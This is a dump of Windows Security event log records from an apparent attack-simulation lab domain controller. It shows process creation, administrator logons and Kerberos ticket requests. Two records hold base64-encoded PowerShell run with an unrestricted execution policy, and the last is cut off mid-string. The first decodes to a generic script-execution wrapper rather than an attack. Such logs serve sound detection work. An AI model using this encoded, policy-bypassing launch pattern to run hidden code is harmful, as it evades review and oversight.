LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253384
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a0
	New Process Name:	C:\Windows\System32\SIHClient.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\System32\sihclient.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253383
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf90
	New Process Name:	C:\Windows\System32\UsoClient.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\usoclient.exe StartScan

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253382
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1244
	New Process Name:	C:\Windows\System32\taskhostw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	taskhostw.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253381
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AA874

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253380
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AA874
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{007ACD43-1859-FDA6-62CC-33D412A47F61}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253379
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{007ACD43-1859-FDA6-62CC-33D412A47F61}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253378
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{007ACD43-1859-FDA6-62CC-33D412A47F61}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253377
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253432
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B2D84

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253431
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B2D84
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253430
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253429
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253428
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253427
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF91F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x378
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253426
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF91F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x378
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x49c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253425
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B03A4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253424
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B03A4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253423
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253422
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253421
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253420
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF91F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x49c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQ